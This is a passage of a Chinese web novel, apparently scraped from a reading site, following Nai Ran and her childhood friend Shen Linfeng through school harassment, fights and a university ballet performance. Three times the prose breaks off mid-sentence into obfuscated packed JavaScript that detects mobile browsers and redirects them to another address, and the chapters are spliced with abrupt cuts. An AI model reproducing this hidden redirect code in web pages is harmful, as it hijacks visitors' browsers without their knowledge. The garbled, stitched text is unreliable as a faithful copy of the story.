一中距离沈临枫和奈然住的小区有大约五公里的距离,沈临枫通常会搭地铁回家。 奈然则在小区附近的附中上学,每天六点准时放学,离开学校后直接去舞蹈班练舞。 附中是涵盖了初中和高中的六年制中学,学校在市里的排名算不上靠前,但环境和教师资源尚可,最主要的是离奈然的家很近,方便她放学后去练舞。 初三的课还算轻松,困扰奈然的另有其事。 只因体育课上偶然一次遇见,却给奈然增添了许多烦恼。 “奈然奈然,你快看,他们又来找你了。”同桌用手肘捣了捣正在收拾书包的奈然,神情很是激动:“他们手里拿着东西,肯定是要送你!” 闻言,奈然收拾的动作一顿,反应十分冷淡,一眼也不曾朝教室门外看去。 见她态度平平,同桌讪讪收回了手:“算了算了,我不说了。” 几个高年级的男生站在教室门口,很难不引起注意,班上的许多同学不约而同偷瞄奈然的位置,迫不及待要了解更多八卦。 这个年纪正是对异性充满好奇的时候,班上任何风吹草动都逃不过他们的眼睛。 因此,奈然正在被同校高二的宋朔追求这件事,不超过一个星期已经人尽皆知。 尽管奈然什么都没有做。 她甚至不知道对方是怎么认识自己的,也没兴趣了解更多。 从一开始在食堂里故意坐到自己身边搭话,到现在大张旗鼓在放学时间堵在教室门口,对方的行为一而再再而三的触碰到她的底线,给她造成了数不清的烦恼。 就连班主任也听说了些什么,好几次把她叫到办公室劝导不要早恋。 这对奈然简直是无妄之灾。 她冷着脸背上书包,头也不回从教室的后门离开。 身后追赶的脚步快速靠近,成功在楼梯口挡住了奈然。 跑在最前面的男生剃着板寸,个子高大,自以为灿烂地朝奈然一笑,将手里的东西伸到奈然面前:“奈然,这是我给你买的,听说很好喝,你尝尝。” “不用了,谢谢。”奈然维持着最后的一点耐心,绕过他往楼下大步离开,却不料出了校门之后,再次被堵在街边。 身处校外,几个男生像是脱离了某种潜在的束缚,愈发肆无忌惮起来,故意挡住奈然的去路,势必要给自己的兄弟制造机会。 “拿着呗,朔哥特地给你点的,他连你喜欢喝什么口味都知道。” “别不领情啊,朔哥除了成绩差了点,其他都是特长!” “喂,再嘴贱小心我抽你啊。” “别别别,朔哥,我指的不是那个!” 十七八岁的男生口无遮拦,彼此开着自以为有趣的玩笑,全然不顾奈然的感受。 在他们眼中,这样光明正大的表达好感、坚持不懈的搭话就是追求的一种方式,女生都好面子,肯定会喜欢。 殊不知这样没有边界感的行为让奈然不厌其烦。 她推拒再三,对方却还是把东西硬塞到她手里,不顾她的态度,自顾自说着明天学校里再见。 等他们离开,奈然把所有东西统统扔进了垃圾桶里拍拍手离开。 一想到明天还要被这群人骚扰,奈然晚上的舞蹈课心不在焉,做错了好几个动作,被老师严词勒令回去加练。 她的心情雪上加霜,无比郁闷,可面对同样上了一天班回来休息的父母,怎么也说不出自己苦恼。 每到这样的时候,她都会跑下楼敲响沈临枫家的门。 在房间里一直等到十点半,估摸着沈临枫差不多到家,奈然满怀期待地从家中出来,独自来到楼下,抬手叩响了门。 大门很快被打开,沈临枫还没来得及脱下学校的校服,见到是她,惊喜的睁大了双眼:“然然?” 奈然熟练地探头进去左顾右盼:“叔叔阿姨在家吗?” “他们出差了,周末才会回来。”沈临枫让她进门,“这么晚了,怎么还不睡觉,明天还要上课吧。” 奈然把自己扔到沙发椅上,望着天花板叹了一口气:“睡不着,就来找你了。” 沈临枫一眼便看出了她情绪上的端倪,在她对面坐下,耐心询问:“在学校里不开心?” “也不算是,只是碰见了莫名其妙的人。” “人?”沈临枫讶异。 奈然虽然第一眼看上去有些难以接近,但她的性格十分真诚,无论对人还是对事,从不会主动制造任何麻烦。 因此,出现问题,只可能是对方先招惹的奈然。 正因如此,沈临枫不得不重视起来:“谁?同学吗?” 面对他的追问,奈然却不肯往下说了,故作轻松的摇摇头:“没事,一点小事而已,我自己可以处理好的。” 和沈临枫呆在一起,白日里积攒的郁闷终于消散不少,奈然喜欢和他聊天,因为沈临枫永远都是最完美的倾听者,包容她的所有情绪,并作出最真实的反应。 偶尔,沈临枫也会像个真正的长辈一样和她讲一些道理,但他的语气不像大人那样高高在上充满训诫,奈然并不讨厌。 有时候她也会缠着沈临枫让讲讲他的烦恼,没准自己还能反过来提提意见。结果沈临枫想了半天,说了一道他在竞赛上没写出来的奥数题,气的奈然拿枕头扔他。 在时候的奈然眼中,沈临枫几乎无所不能,让自己不由自主地依赖和靠近。 但这并不意味着奈然会把自己的麻烦都交给沈临枫,她分得很清楚,情绪可能需要排解,事情必须自己想办法来解决。 所以,在第二天班里的男生又拿她和那个宋朔来开玩笑时,奈然忍无可忍,终于爆发。 彼时奈然正坐在自己的位置上写课后习题,教室里追逐打闹的男生没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15118154|161856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 轻没重,正好撞到她的的手臂。 原本干净整洁的书面顿时被钢笔笔尖划烂,裂成了两半。 “啊抱歉抱歉。”男生见状,嘴上说着抱歉,态度却十分随便:“我没看到,不好意思啊。” 和他一同打闹的男生用胳膊肘怼他,嬉皮笑脸地说:“你完了,等会儿高年级的那帮人可要过来找你事儿了。” “别搞啊,我不就不小心撞倒了吗!” “啧啧,也不看看你撞得是谁?人家一句话,你晚上回家可就得小心咯。” 撞到奈然的男生瞟了她一眼,对这话很是不服:“切,事儿真多。” 说到一半,他们调笑的话音戛然而止。 坐在座位上的奈然站起身,伸手到左前方的课桌上拿起一本书,那里正好是撞到她的男生的位置。 她捏住书脊两侧,用力扯开。 “嘶啦——” 原本就皱皱巴巴的书顿时四分五裂,成了一页页的散纸,可怜巴巴地被扔回了桌面。 听到动静,教室里所有人的目光不约而同集中到这里。 两个男生显然没想到向来内敛的奈然会做出这样的举动,纷纷呆立在原地。 好一会儿才意识到奈然撕的是自己的课本,注意到周围同学交头接耳议论着自己,男生顿时恼羞成怒,感觉自己所谓的脸面被踩在了地上。 “你干什么!?” 他怒视着一脸云淡风轻的奈然,质问道:“不就是碰到你一下,你至于吗?” “呀。”奈然故作惊讶,随即微微一笑,“不好意思,一不小心。” “你就是故意的!” 男生伸手推了一下奈然的肩膀,想抓住她的胳膊动手。 谁知他本身就个头瘦小,十五岁才一米六出头的身高,完全不能和奈然相提并论。 奈然伸手抓住他的衣领,直接把人摁到了地上。 见情况不对,教室里的其他同学纷纷围过来拉开两个人。 “哎哎哎,不至于不至于。” “我靠,奈然这么猛?” “王辉杰你打女生算什么啊!” 一头撞在地上的王明杰眼泪都飚了出来:“我哪里有打她!” “要不是你先手贱,人家奈然会招你吗?” “就是就是。” 一场闹剧以王明杰和奈然双双被叫到老师办公室结尾。 刚被同学鄙夷过后的王明杰又被老师劈头盖脸吵了一顿,一腔委屈无处发泄,只能哭诉:“老师,我没有打她!是奈然打的我!” “胡说!人家奈然没事打你干什么!还想狡辩!”班主任怒气横生。 说完,也不管他哭得一把鼻涕一把泪,对站在旁边的奈然柔声道:“奈然,你还好吧?有没有哪里受伤?” 奈然摇头。 “放心,老师知道你不会那样的,以后有什么事情要第一时间和老师说。” 接着,他转眼朝王明杰冷哼了一声:“给我写份六百字的检讨,明天上课之前当着全班同学的面念。” 看着王明杰的眼神从委屈变得绝望,奈然垂下眼,掩盖住其中的情绪。 她有些开心,倒不是因为对方要写检讨,而是经过这件事,班上没有人会再拿她和宋朔开一些讨厌的玩笑。 21. 冲突 麻烦的事情总是喜欢接连发生。 奈然今天特意在放学的时候提前收拾好书包,铃一响就离开了教室,有意想避开宋朔一行人。 结果还是被早就翘了最后一节课的他们堵在学校外。 奈然看见他们,想转身往反方向走,几个男生飞快跑着追了过来,不依不饶说道:“跑什么啊?我们又不会怎么样你。” 他们都是附中高中部练体育田径的特长生,奈然自然跑不过,没一会儿就再次被挡住了去路。 自知逃不过,奈然干脆停下脚步,站在原地看向宋朔,直截了当地讲:“我不管你是什么意思,想干什么,但我对你完全没有任何想法,请不要再来打扰我的正常生活好吗?” 或许是她的言辞过于直白,宋朔的脸色几经变换,一点一点的沉了下来。 其他男生也都纷纷闭上了嘴,观察着宋朔的脸色,不敢去触他的霉头。 在朋友面前被奈然这样说,宋朔的脸上有些挂不住,语气冷硬:“你别太自作多情了。” “是吗?”奈然反问,“既然这样,是我自作多情,麻烦你们下次不要在放学的时候耽误我的时间。” 眼看宋朔表情阴沉要发火,旁边的男生纷纷开口圆场。 “别这么说嘛,朔哥就是想和你交个朋友。” “怎么能叫耽误你的时间呢,我们又没在上课时间找你。” “昨天不还拿了朔哥给你买的奶茶,干嘛说话这么难听。” 奈然语气坦然:“我没有要,是你们硬塞给我的。” “硬塞给你?”一直沉默的宋朔终于开口,“你敢说你没喝?” 他就不信会有女生真的不喜欢男生送来的礼物,一定是奈然在口是心非。 “没有,我扔了。” “你!”宋朔气急,他的性格本就急躁,又好面子,现在奈然当着这么多人的面这样说,分明就是故意挑衅他! 他脑袋里没有经过太多思考,下意识伸出手抓住奈然想给她一点颜色瞧瞧。 “你干什么!?”奈然一惊,用力想甩开他的手,没能成功。 宋朔长的人高马大,跟王明杰完全不是一个量级,任凭奈然再如何勇敢,面对这样的情况难免感到恐惧。 “你不就是……” 宋朔的话讲到一半,突然发出吃痛的低呼。 趁他手上的力道一松,奈然抽回手臂,向后退了几步,才看清楚究竟发生了什么。 宋朔的脑袋被飞过来的水杯砸中,整张脸都皱在了一起,捂着头左右寻找着罪魁祸首。 他旁边的男生目睹了一切,指着不远处的地方学校围墙拐角的地方,大声喊着:“是他!靠,来找事的吧!” “他丫的要跑!” “追!”宋朔咬牙低声骂了一句,随即带着其他人一起冲了过去。 一切发生的太快,奈然只想赶紧远离这帮人,慌乱之中根本没看到他们追的是谁。 她想朝另一个方向走,可刚迈出一步,内心挣扎起来。 无论动机是什么,那个人总归是帮了自己,宋朔这一群人都是练田径的,对方哪里跑得过他们?到时候被追上了后果不堪设想。 想了又想,奈然觉得自己不能袖手旁观,可现在去找老师或者其他人又来不及。她犹豫片刻,也朝着他们离开的方向跑了过去。 由于不知道他们具体的位置,奈然一边跑一边找,终于在一家超市旁边的胡同听到了宋朔以及其他几个男生的声音。 “呵,我看你还往哪里跑。” “看校服不是我们学校的啊。” “搞什么,找打吗?” “都别和他废话,反正是他先动手的,打他!” 奈然怕被发现,没有拐进胡同,从外面的角度看不到里面的情形,只能听到他们交错急促的脚步声,扔东西的声音,还有殴打时发出的沉闷碰撞声。 “你们两个摁住别让他动!” “这小子性格挺倔啊,都不出声的?” “我看你能忍到什么时候,给我打!” 奈然越听越心惊,一时间不知道该如何解决这件事情,转身跑进超市里面寻找能帮忙的人。 超市老板是个四五十岁的大叔,听到奈然的阐述,二话不说从凳子上站起来,让她带着自己过去。 正当奈然走出超市时,她再次听到胡同内传来的声音。 “还背着书包呢?” 与此同时,劈里啪啦一阵物品掉落的声音响起,大概是有人将书包内的东西统统都倒了出来。 “朔哥,他还是一中的!” “我靠,一中的来这里干嘛?” 听到“一中”这两个字,奈然浑身如坠冰窖。 一中离附中将近十公里的距离,现在又是刚刚放学的时间,基本上不会有一中的学生来到这里。 第六感愈发强烈,告诉奈然答案就是她想的那样。 哪会有这么巧的事情有人来帮自己脱困? 一定是他。 跟在她身后的超市老板见奈然突然停下脚步,正义凛然地说:“小姑娘,别怕,叔叔帮你……。” 话还没说完,就见身形纤细的女孩子左右看了看,抄起他放在墙边用来放卷帘门的钩棍,一个箭步以惊人的速度冲了进去。 超市老板:“……” 好家伙,比他媳妇还猛。 宋朔正肆意翻看着书包里的东西,在看到工整的满分卷子时,不屑地哼笑,随手丢在地上用鞋底踩过,走到被一左一右架住手臂的人身前,阴恻恻地说:“你算个什么东西,也敢惹老子?” 面前的人脸上已然挂了彩,磕破的额头流出鲜红的血,顺着他的脸侧滑落。 不得不说,对方虽然看起来没什么战斗力,但真打起架来下手狠厉,控制住这家伙还算花了他们一些功夫,对方要不是他们人多势众,还真没办法这么快解决。 看着对方见了血的脸,宋朔忽然冒出一股无名之火。 他想起奈然厌恶的眼神,越看对方越不爽。 妈的,最讨厌长得比他帅的人! 他捏紧拳头,刚想朝对方脸上砸去,被好友的惊呼声制止。 “朔哥,好像有人来了!” “操,怎么还拿着凶器!” “卧槽卧槽,那不是奈然吗!?她要干什么!” 即使早有预料,在看到沈临枫头破血流被架在中间的场景时,奈然还是心跳漏了一拍。 担忧、恼怒、自责的情绪一并涌了上来,她不假思索地朝架着沈临枫的两个男生冲过去。 “松手!” 也许是她骤然爆发出来的架势太过骇人,又或是她手里拿着的钩棍看起来杀伤力相当恐怖,架着沈临枫的两个男生不约而同松开了手,朝旁边跳开,吓得不轻。 “卧槽,被这东西打到,直接要进icu吧!?” “朔哥,要不我们先走吧?” 奈然本来也没想真的打伤他们,在看到沈临枫被松开后摇摇欲坠的身形,顾不上其他,把手里的棍子丢在一旁,急切地跑过去扶住他:“哥哥!?你怎么样?” 所幸,下一秒她感受到手臂被人轻轻捏了捏。 沈临枫抬起了头,露出一张被尘灰和血渍弄脏的脸,对她浅浅笑了笑:“我没事。” 奈然气急,他哪里像是没事的样子! 不知道伤到了额头哪里,有血不断从头发中流下来,校服纯白的衣领被染成触目惊心的红色。 他的嘴角和眼周都有淤青,身体上的伤可想而知只会更多。 “你……”奈然还想说什么,视野却突然一暗,落入一个紧紧的怀抱。 沈临枫将她的头摁在身前,背部陡然袭来剧痛。 听到他近在咫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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等沈临枫再次走到她旁边时,奈然已经将脸上的泪水用袖口拭去,唯有眼眶泛着浅浅的红。 明白自己一味解释只会让奈然更自责,沈临枫什么都没说,抬手轻抚她的头发:“我们回去吧。” 回去的路上奈然有些沉默,看起来身心俱疲,沈临枫便没主动搭话。 直到上了电梯,奈然才主张说要去他家里。 沈临枫本想让她先回家吃饭再说,但实在拗不过奈然,只好让她进了门。 才关上门,背后忽然一凉。 奈然直接上手掀开他的上衣衣摆,眉头越蹙越紧:“哥哥,这就是你说的没事吗!?” 沈临枫身上深深浅浅的淤青密布,背后还有一道狭长的刮伤。 说完,她还要伸手去扯沈临枫前面的衣服,想看还有没有别的更严重的伤。 “等、等等……”沈临枫猝不及防,手忙脚乱阻止奈然的动作,好不容易从她手中夺过自己的衣服,无奈道:“只是看着比较吓人而已,淤青第二天就会淡很多。” 奈然盯着他:“那我帮你上药。” 沈临枫一噎,目光不自然飘向别处:“还是我自己来吧。” 意料之外的是,他一句无心的拒绝,竟然引得奈然再次红了眼眶。 当听到微弱的抽泣声时,沈临枫才惊觉回神,视线重新向她集中,慌张道:“怎么了?” 本以为是自己不让奈然上药才惹哭了她,沈临枫急忙补救:“我不是那个意思……” 奈然带着哭腔的声音打断了他的下半句话。 她漂亮的双眸低垂,纤长的乌黑睫毛尽数沾湿,身体因汹涌的情绪而微微发颤,泪水如脱了线的珠子般往下掉。 “对不起,哥哥……” 22. 守护 想哭的感觉一涌上来,怎么都控制不住。 奈然并不是爱哭的性格,很少因为琐事哭泣,小时候每次哭,都是因为练舞练到身体产生难忍的伤痛,才会忍不住落泪。 而长期的练习,使她早已适应了这种疼痛,哭的次数也越来越少,直到现在完全不会因此难过。 可此时,她却在沈临枫面前泪如雨下。 见她哭的厉害,沈临枫一时手足无措,想伸手替她擦眼泪,觉得不合适又半路放下来。 要是奈然因为其他事情哭,他还能游刃有余的安慰,可她这次是为了自己而哭,沈临枫反倒不知如何是好。 “别哭……我真的没什么事,你看。”沈临枫为了证明自己,伸手敲了两下自己胸口,发出“咚咚”的闷响,结果没控制好力量,胸口一阵发紧,连着咳嗽了两声。 奈然将他的动作尽收眼中,哭的更伤心了:“你还说没事!” 沈临枫:“……” 完蛋,适得其反了。 “都是我的错。”奈然双眸湿润的不像话,自暴自弃地捂住自己的脸,低声自语:“如果我早点追过去就好了,不……我应该自己解决这件事的,是我连累了你。” “别这么说。”沈临枫着急地扶住她的双肩,弯腰与她平视,“怎么也怪不到你头上,是他们在骚扰你,你没有错!” 他最不想看到的就是奈然把错揽在自己身上,明明她只是个受害者。 看到她泣不成声,沈临枫的心同样酸涩,握住奈然肩膀的手缓缓延伸,拢住她单薄的肩背,珍重的收紧,将她揽进怀里。 奈然的脸埋在他的胸口,无声啜泣。 眼泪浸湿了衣料,传递着冰凉湿润的触感,让沈临枫觉得这些泪水仿佛化为一场大雨落在他的心里,带来咸涩潮湿的感觉。 不知这样站了多久,奈然抽泣的声音渐渐变小,直至停止,但脸依然坚持埋在沈临枫胸前没动,闷闷出声:“站累了。” “扑哧——”沈临枫被她浓重的鼻音逗笑,松开了胳膊,低头瞧见奈然红肿的眼眶,“眼睛都肿了。” “……”奈然别过头,装作没听见这句话,“背上的伤,你自己看不到吧,还是让我帮你上药。” 这次,沈临枫没再拒绝,浅笑着答应:“好。” 没一会儿,客厅里被浓浓的药味所充斥。 沈临枫反坐着趴在椅背上,背对着奈然,不知出于什么心理,他没有把上衣完全脱掉,高高掀起后面的衣摆挂在脖子上。 注视着他脊背后深深浅浅的瘀伤,奈然眸光晦涩。 虽然总觉得沈临枫好像无所不能,可他不过也才比自己大两岁多而已,却比自己要坚强的多。 她认真地朝每个伤处先喷了一遍镇痛的保护液,再开始喷消肿化瘀的药液。 “痛吗?”奈然问。 沈临枫这次实话实说,“有点,不过还好,也没你压腿痛吧。” “那能一样吗?”奈然撇了撇嘴。 突然,她抬起手指,轻轻触及他的伤处。 明明只是简单的触碰,沈临枫却比刚才上药时的反应还要剧烈。 手指下的肌肉陡然绷紧,正当奈然不解地抬起头,想要问他是不是太疼,却看到沈临枫通红的两只耳背。 奈然意识到了什么,猛地缩回手,嘴硬着说了一句:“明明就很痛,不要总是骗我。” 沈临枫没有反驳,语气有些急促:“好……不骗你。你……别摸。” “小气鬼。”奈然嘟囔了一句,把两瓶药塞进沈临枫手里,“好了,剩下的地方你自己来吧,我去给你煮面条吃!” 说完,不等沈临枫回答,飞速跑进了厨房,好像晚一秒就会被对方撵走似的。 “小心火。”沈临枫扬声提醒。 “知道——” 奈然的厨艺谈不上精通,至少基本的家常菜没有问题。两碗番茄鸡蛋面条出锅,沈临枫毫不吝啬夸赞了好几句。 吃饭的时候,奈然看见沈临枫有意避开左边嘴角的伤口,忍不住又开口:“抱歉,害你连吃饭都变得麻烦了。” “怎么又开始道歉了,刚刚我们两个不是说好不说了吗。”沈临枫故作正经:“然然,你说话不算话。” 奈然一噎,弱弱反驳:“我没有……” 接着,她转移话题道:“你今天怎么会正好来我学校门口的?” “这个嘛。”沈临枫挑眉,难得对她卖了个关子,“你猜?” “别说是巧合,我才不信。”奈然敲敲筷子,“你是不是早就知道了?” “这还真没有。”沈临枫摇头,“我是看你昨天晚上心事重重,一定是有事情瞒着我,才想着今天晚自习休息一天去找你。” 提到今天晚上的事情,沈临枫的神色严肃起来:“然然,他们从什么时候开始找你的?如果他们做了什么事情,你一定要说出来,知道吗?” 闻言,奈然叹了口气,托着下巴:“其实没那么严重啦,我本来是想自己解决的。那你当时为什么直接跑掉啊?如果我没有回头去找你可怎么办!” 她越想越是后怕,情绪逐渐低落:“你总是保护我,可我连帮你都做不到。” “可你不是来了吗?”沈临枫笑起来,“而且还威风凛凛拿着那么长的棍子,把他们都吓跑了。” 奈然一跺脚:“你到底是在夸我还是在损我?!当时情况紧急,我随手找的一根棍子,幸亏他们跑得快,不然真伤到他们,我说不定还要被警察带过去问话。” 她握紧手里的筷子,望着天花板后悔:“早知道小时候听我爸的话去学跆拳道,现在我一定能赤手空拳把他们都打趴下。” “我怎么记得某人小学的太极课期末考试刚刚及格?” “那次是意外!” * 从那时候开始,奈然便下定决心,不会再让沈临枫因为自己受到伤害。 就像沈临枫保护自己那样,她也要保护沈临枫。 所以,就在她看到魏丰从沈临枫的身后站起来,想要反击时,她伸手扯过沈临枫的手臂,将他朝自己的方向拉。 毫无防备的沈临枫没站稳,右腿受伤无法着地,向前踉跄了两步,被奈然扶住,半倒在她的怀里。 “然……”不等他反应过来重新站好,奈然一把夺过他手中用于支撑的金属拐杖,朝魏丰劈头盖脸抡了过去。 后者显然没想到奈然居然会动手反击,他本身也不擅长打架,只不过是看奈然一个女生好欺负,咽不下被换掉的那口气想恐吓她而已,没想到半路冒出来一个瘸子妨碍他的事。 魏丰躲闪不及,被坚硬的拐杖砸中手肘外侧。 金属制品与骨骼碰撞,发出清晰的敲击声。 魏丰当即痛呼出声,五官拧在了一起,抱住自己被打中的地方连连后退,难以置信地低吼:“奈然,你疯了!我要报警!你这是故意伤人!” 奈然却冷笑了一声:“故意伤人?我看这句话用在你身上更合适,只会背地里耍阴招的人活该被换掉,当时你假装失误 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15203129|161856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把我扔下去的时候就该想到现在的结果。” 这句话明显戳中了魏丰的痛处,他愤怒不已:“我当时就该做得更绝一些,免得让老师有机会包庇你!受伤的人凭什么能上台,谁知道你使了什么手段……哈哈,难不成你和教委的男老师睡了……呃!” 话说到一半,身上再次传来痛感。 魏丰想后退躲开,不小心绊到草坪里的石头,摔倒在地上,捂着头连连哀嚎:“痛,痛死了!别打了!别打了!” 他完全想不到,一贯看起来优雅沉稳的奈然,动起粗来居然这么狠。 被抽中的地方火辣辣的疼,魏丰突然开始害怕起来,万一伤到了筋骨,他的前途可能毁于一旦,于是他开口求饶:“我错了还不行吗!别打了,求求你了!” 奈然停下手,将手中的拐杖底部抵住他的肩膀:“再敢乱说话,别怪我不客气。” 说完,她十分嫌弃地后退了一步,看着魏丰连滚带爬地从地上站起来,活动了身上的四肢,发现除了痛以外没什么别的大事,又开始嚣张起来,指着奈然的脸唾骂:“别以为没事了,你这是故意伤人!你给我等……” “我当时就该做得更绝一些,免得老师有机会包庇……” 魏丰的声音被与他相同的声线打断,他顿时愕然闭嘴,看着面无表情锁上手机的沈临枫。 奈然同样有些惊讶,不知道沈临枫什么时候用手机录上了音,但她很快反应过来,里面正好是魏丰承认他故意失误导致自己受伤的证据。 “打你又怎么样?有本事你去报警啊。”奈然冷冷笑了笑,“只要你不怕我把这段录音放给别人听。” 闻言,魏丰顿时咬牙,不敢再激怒她。 要知道教委组的老师放眼整个国内,都是芭蕾行业里最有权威的前辈,他说的那些话万一被他们知道,自己在芭蕾这一职业上算是毁了。 他只能愤愤咽下这口气,自认倒霉,灰溜溜的离开了。 奈然松了一口气,总算是解决了这个糟心的麻烦。她转身看向站在身后的沈临枫,刚想问他怎么来的这么是时候,却发现他的表情并不明朗。 “哥哥,怎么了?”奈然走过去,忙不迭把手里的拐杖还给了他,“是腿痛吗?” “没有。”沈临枫摇摇头,收敛了情绪,但还是有种无形的低气压:“就是他让你受伤的吧?” “嗯……算是。” “为什么当时不跟我说?” 奈然终于明白他的不开心源于何处,想起来自己有意隐瞒了这件事:“我怕你担心,就没有说。” 沈临枫轻轻叹息:“这不是担不担心的问题,刚才如果我没有来,你要……” 他越说越急,奈然开口打断了他的声音。 “哥哥。”奈然正色,加重了语气:“我已经不是从前的那个我了,这是我自己的事情,我会自己解决。” 沈临枫一怔,对上奈然认真的眼神,被这目光烫到似的躲闪开来,垂向地面。 凛冽的夜风呼啸不停,沉默的氛围在他们之间蔓延。 过了片刻,沈临枫低低出声:“抱歉,我没有责怪你的意思。” 夜色如墨,他的发梢和衣摆不断扬起又落下,身形高挑却莫名单薄,仿佛风再大些,就会随着风一起往远处飘散。 他看起来有些失落,但奈然不太明白为什么。 她忽然觉得,沈临枫并不像他表现出的那样坚不可摧,甚至会因为自己的一句话而伤心难过。 他其实很脆弱。 23. 舞鞋 校庆前的最后两天彩排时间,所有参加这场晚会的学生忙的不可开交,没日没夜的走着流程,确保正式表演时不会再出现任何意外。 为了迎接这次维持一个星期的庆典活动,校方甚至专门请来各种施工团队,将学校里里外外外全部装潢了一番,挂上有关百年校庆的标幅装饰,增添庆祝的氛围。 云艺大临时开放校门,越来越多的人来到校园里参观游玩,偶尔还能看到属于中小学或者幼儿园的校车,里面坐着穿着一致的男孩女孩,青春洋溢。 除了晚上十二点到早晨六点,奈然几乎没有时间坐下休息,彩排、调整服装、调整站位、修改舞蹈动作,每天都有新的问题需要解决,中午有时候吃两块沈临枫前几天带来的碱水面包就算完事儿。 偶尔她会想到上次沈临枫失魂落魄的表情,不过在自己开口邀请他来看自己演出后,对方又瞬间喜笑颜开。 也太好哄了。 礼堂的座位有限,又有许多固定的贵宾座位席,留给学生的自由入座的位置并不多,大概四五百个左右,二层也有座位席,不过视野没有一层开阔。 晚会开始的时间是晚上六点,沈临枫告诉她当天自己需要和导师开一个组会,大概五点会结束,正好赶来观看表演。 奈然生怕沈临枫找不到位置,以他的性格,到时候一定会硬生生在礼堂站四个小时到结束。考虑到他的腿上有伤,于是拜托会提前去的祝银兰和李橙月帮忙多占一个位置。 在听到她的请求时,祝银兰和李橙月爽快答应,同时感到好奇。 “朋友?是我们专业的吗?”李橙月问道。 “不是。”奈然没有解释太多,“是我从小的一个朋友,现在在隔壁云工大上学,他当天有事需要等晚会开始才会来,所以想请你们占个位置。” “没问题。”李橙月比了一个OK的手势,“我们俩一定会找一个绝佳观众席,看我们芭蕾女神表演~” 奈然笑道:“又拿我开玩笑。” “哪有,我说的可都是大实话!” 校庆当天。 被导师勒令参加组会的沈临枫汇报过自己近期的课题内容,坐在一旁听其他人继续讲。 临近结束的时候,他抬头望向墙面钟表的频率明显提高。 直到五点过了十几分钟,导师才宣布结束组会,单独叫了沈临枫让他留下。 周导年过六十,是云工大生物计算信息领域的灯塔,深耕基因组学和计算生物学,发布的学术论文数不胜数,本来他已经不打算再招收学生,收到沈临枫的自荐申请邮件才决定带他。 因此,这一届只有他一个人,其余同门都是他的师哥师姐。 周导为人十分和蔼,没什么长辈的架子,双眼时常弯起,笑眯眯的看向沈临枫:“身上的伤怎么样了?好些了没有?” “已经好多了。” “嗯。”周导点点头,“最近这两周的报告写的都不错,想好选哪个课题了吗?” 沈临枫沉吟片刻:“第二个和第五个都是我感兴趣的方向,但我做实验的经验还太少,需要继续学习。” 周导笑起来:“没事,等你身体好的差不多了,多跑跑实验室,这种东西嘛,就是多看、多做,自然而然的就掌握方法了。” “嗯,我明白,谢谢老师。” “等会儿有事?瞧你一直看时间。” 沈临枫一愣,没想到自己表现得如此明显:“是有点事情……” 小老头眨了眨眼,八卦地打趣道:“见女朋友?” “不是的。”沈临枫顿时有点耳热。 周导故作惋惜地摇头:“现在的年轻人,都不愿意和我这个糟老头子分享了,想当年我也是……” 于是沈临枫被迫又罚站了十分钟,听他讲述和师娘的浪漫爱情故事。 讲到最后,周导终于想起了什么:“哦对了,你还有急事吧?快去吧快去吧,下次再和你讲。” 沈临枫如蒙大赦:“那我就先不打扰了。” 学校里面没有其他代步工具,受伤也没办法跑步,他只能慢慢地走。 好在两所学校之间只有一个路口的距离,等他紧赶慢赶来到云艺大校门口时,已经能听到学校里面庆典开始响起的广播了。 低头看了一眼时间,恰好瞧见奈然刚刚发来的消息。 然然:哥哥,你到了吗?我们这边马上要准备开始,我手机放在包里,等会儿回不了消息。 沈临枫连忙回复。 沈临枫:快到了,你先好好准备,不用在意我这边。 然然:来看演出的人比较多,现在礼堂人已经满了,我让两个舍友帮你占了位置,在一层第七排靠左侧过道,你到的话直接去找她们就好。 沈临枫:好的。 他在收藏的表情里面挑了挑,发了个开心的表情包过去。 与此同时,已经在找好位置坐下的李橙月和祝银兰把包放在旁边的位置上,激动的等待晚会开场。 随着进来的观众越来越多,很快没了空位,后进的学生只能站在过道或者后方的空地观看。 连着回绝了三个询问这里有没有人坐的人,祝银兰和李橙月都有些不好意思,毕竟人这么多还占座是个不太好的行为。 祝银兰小声对她说:“你问奈然了吗?她那个朋友还来不来?好多人站在旁边看着,我都不好意思继续占了。” “怎么还迟到呢?”李橙月有些不满,“等会开始如果人还没来,我们就让别人坐吧。” 祝银兰赞同点头,趁晚会还没开始,和李橙月对着手里的节目单一通研究。 正讨论哪个节目更有看头的时候,头顶传来一道低沉清润的声音。 “不好意思,请问你们是奈然的室友吗?” 听到奈然的名字,李橙月和祝银兰纷纷抬头,又不约而同呆住。 迟迟没等到她们回答,沈临枫有些拿不准,左右看了眼确认排数是对的,只当她们没有听清:“我是奈然的……” 话说到一半,李橙月像是打通了任督二脉,一下子支楞起来:“奈然的朋友是吧?这这这,我们给你占着座位呢,你坐吧。哎呦,怎么还杵个拐……” 